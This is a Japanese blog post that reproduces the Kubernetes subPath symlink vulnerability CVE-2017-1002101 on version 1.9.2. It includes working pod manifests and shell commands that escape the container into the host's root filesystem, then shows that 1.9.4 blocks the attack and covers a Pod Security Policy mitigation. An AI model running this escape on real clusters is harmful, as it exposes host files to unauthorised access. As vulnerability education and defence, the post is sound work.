kubernetes
CVE-2017–1002101 について理解する
先日 Kubernetesに関して 2 つの脆弱性が発表されました。
CVE-2017–1002101
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using subpath volume mounts with any volume type (including non-privileged pods, subject to file permissions) can access files/directories outside of the volume, including the host’s filesystem.CVE-2017–1002102
In Kubernetes versions 1.3.x, 1.4.x, 1.5.x, 1.6.x and prior to versions 1.7.14, 1.8.9 and 1.9.4 containers using a secret, configMap, projected or downwardAPI volume can trigger deletion of arbitrary files/directories from the nodes where they are running.
本日はこの CVE-2017-1002101
についてどういう脆弱性なのか実際に試してみようと思います。
準備
まずは現時点での Kubernetes の最新版である 1.9.4 ではない cluster を準備します。
$ kubectl version --short
Client Version: v1.9.2
Server Version: v1.9.2
手元の cluster は 1.9.2 を準備しました。
Pod Security Policy
も何も設定されていない状態です。
$ kubectl get podsecuritypolicy
No resources found.
この cluster に下記の Pod を起動させます。
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: DirectoryOrCreate
hostPath
を使用して volume
を mount します。
現時点では subPath
はまだ使いません。
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
pod
が起動したら pod
の中に入ります。
$ kubectl exec -ti cve-2017-1002101 -- /bin/sh
/ #/ # cd /test
/test # ln -s ../../.. malicious_link
/test # ls -l
total 0
lrwxrwxrwx 1 root root 11 Mar 16 01:02 malicious_link -> ../../..
mount した volume(/test)
の中で symbolic link
を作成します。
これでホスト側の /tmp/test
の中に malicious_link
という symbolic link
が作成された状態になります。malicious_link
は実質 /
を見ることになります。
host 側で実際に確認してみます。
(host) $ ls -l /tmp/test/malicious_link
lrwxrwxrwx 1 root root 8 Mar 16 18:48 /tmp/test/malicious_link -> ../../..(host) $ cat<<EOF>/here_i_am.txt
> Yeah!! I'm on the host's root dir!!
> EOF(host) $ cat /tmp/test/malicious_link/here_i_am.txt
Yeah!! I'm on the host's root dir!!
この段階では先程の pod:cve-2017-1002101
内では here_i_am.txt
は参照することはできません。
/ # cat /test/malicious_link/here_i_am.txt
cat: can't open '/test/malicious_link/here_i_am.txt': No such file or directory
実際に脆弱性を突いてみる
それではさっそくやってみましょう。悪用厳禁
先程の pod:cve-2017-1002101
と同じ node に新しい pod
を配置します。
今回は nodeSelector
で配置するのでまずは対象の node に label をつけます
$ kubectl get pods cve-2017-1002101 -o jsonpath='{.spec.nodeName}{"\n"}'
cve-node1$ kubectl label node cve-node1 vulnerability=true
node "cve-node1" labeled$ kubectl get nodes cve-node1 -L vulnerability
NAME STATUS ROLES AGE VERSION VULNERABILITY
cve-node1 Ready node 23h v1.9.2 true
下記の pod を配置します。
apiVersion: v1
kind: Pod
metadata:
name: cve-2017-1002101-2
spec:
containers:
- name: busybox
image: busybox
command: ["sleep", "864000"]
volumeMounts:
- mountPath: /test
name: test-vol
subPath: malicious_link
volumes:
- name: test-vol
hostPath:
path: /tmp/test
type: Directory
nodeSelector:
vulnerability: "true"
今回の pod:cve-2017-1002101-2
では subPath
を使用します。先程の pod:cve-2017-1002101
で作成した malicious_link
を subPath
として設定します。
pod:cve-2017-1002101-2
に入り /test
の中身を参照します。
$ kubectl exec -ti cve-2017-1002101-2 -- /bin/sh
/ #/ # cat /test/here_i_am.txt
Yeah!! I'm on the host's root dir!!
このように簡単に host 側の /
を参照することが出来てしまいました。
もしこの pod が root 権限で動いているのならば host 側の全ての file にアクセスすることが可能です。runAsUser
で実行 user が制限されていたとしても、その権限内でアクセスが可能になります。
最新版の 1.9.4 ではどうなっているのか
それでは脆弱性が修正された 1.9.4 ではどのような挙動になるのか見てみましょう。
1.9.4
の cluster を用意します。
$ kubectl version --short
Client Version: v1.9.4
Server Version: v1.9.4
先程と同じく pod:cve-2017-1002101
を deploy して準備をしておき、node にも label を付けておきます。
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
さっそく pod:cve-20171002101-2
を deploy してみると・・・
$ kubectl get pods
NAME READY STATUS RESTARTS AGE
cve-2017-1002101 1/1 Running 0 2m
cve-2017-1002101-2 0/1 CreateContainerConfigError 0 2m
CreateContainerConfigError
となり、pod の作成が出来なくなっています。修正されていますね!
kubelet の log には
failed to prepare subPath for volumeMount "test-vol" of container "busybox": subpath "/" not within volume path "/tmp/test"
と出力されます。
hostPath を使えないように Pod Security Policy を設定する
最新版の Kubernetes を使えればいいのですが、簡単に version up できない場合もあります。
その場合は対策として、そもそも hostPath
による Volume の使用を禁止しておくのがいいと思われます。
その際に役に立つのが Pod Security Policy になります。
Pod Security Policy を有効にする
Pod Security Policy を有効にする為には kube-apiserver
の --admission-control
に PodSecurityPolicy
を追加する必要があります。
これが無いとそもそも Policy を定義しても有効になりません。
Pod Security Policy を有効にした場合には必ず Policy を定義して下さい。
Pod Security Policy が有効な状態で Policy を何も定義していない状態だと何も操作できない状態になります。
Pod Security Policy を使っていない状態の policy は下記になります。(全て許可状態)
apiVersion: extensions/v1beta1
kind: PodSecurityPolicy
metadata:
name: privileged
annotations:
seccomp.security.alpha.kubernetes.io/allowedProfileNames: '*'
spec:
privileged: true
allowPrivilegeEscalation: true
allowedCapabilities:
- '*'
volumes:
- '*'
hostNetwork: true
hostPorts:
- min: 0
max: 65535
hostIPC: true
hostPID: true
runAsUser:
rule: 'RunAsAny'
seLinux:
rule: 'RunAsAny'
supplementalGroups:
rule: 'RunAsAny'
fsGroup:
rule: 'RunAsAny'
慣れるまではこちらをベースにいろいろ Policy を考えていったほうがいいでしょう。
hostPath を無効にする Policy
Pod Security Policy では volume type
による Volume の利用制限が可能です。volume type
には様々な種類があります。configMap
や secret
等があり、 hostPath
も type の 1 つです。
default では全ての type を使うことができます。
volumes:
- '*'
Policy 内では許可する volume type
を設定することができますので、 hostPath
を含めなければいいことになります。
公式による推奨されている設定は下記になります。 hostPath
は含まれていませんね。
volumes:
- 'configMap'
- 'downwardAPI'
- 'emptyDir'
- 'persistentVolumeClaim'
- 'secret'
- 'projected'
こちらの Policy を適用することで hostPath
の利用を制限することができます。
実際に volumes の Policy を変更した後に hostPath
を使った pod を起動させようとすると下記のようなメッセージが表示されます。
$ kubectl create -f cvepod.yaml
Error from server (Forbidden): error when creating "cvepod.yaml": pods "cve-2017-1002101" is forbidden: unable to validate against any pod security policy: [spec.volumes[0]: Invalid value: "hostPath": hostPath volumes are not allowed to be used]
ちゃんと制限されました。
まとめ
CVE-20171002101
について実際に挙動を確認してみました。hostPath
さえ使うことができれば、比較的簡単に hostPath
の外側にアクセスできることが出来てしまいます。
Kubernetes を提供しているサービスの管理者であるならば、hostPath
による Volume の利用を制限しておくべきでしょう。また、Kubernetes は最新にしておきたいですね。
脆弱性が修正された Kubernetes を使う場合でも Pod Security Policy で hostPath
に指定できる場所の制限の制限をしておくといいでしょう。
AllowedHostPaths
という Policy を設定すれば hostPath
に使用できる path を whitelist で登録することができます。
Pod Security Policy を適切に設定して、よりよい Kubernetes Life を!
追記
脆弱性が修正された 1.9.4 ですが、修正された際に Secret, ConfigMap, Projected, DownwardAPI で subPath
が使えなくなる問題が発生していました。こちらは 1.9.5 で修正されています。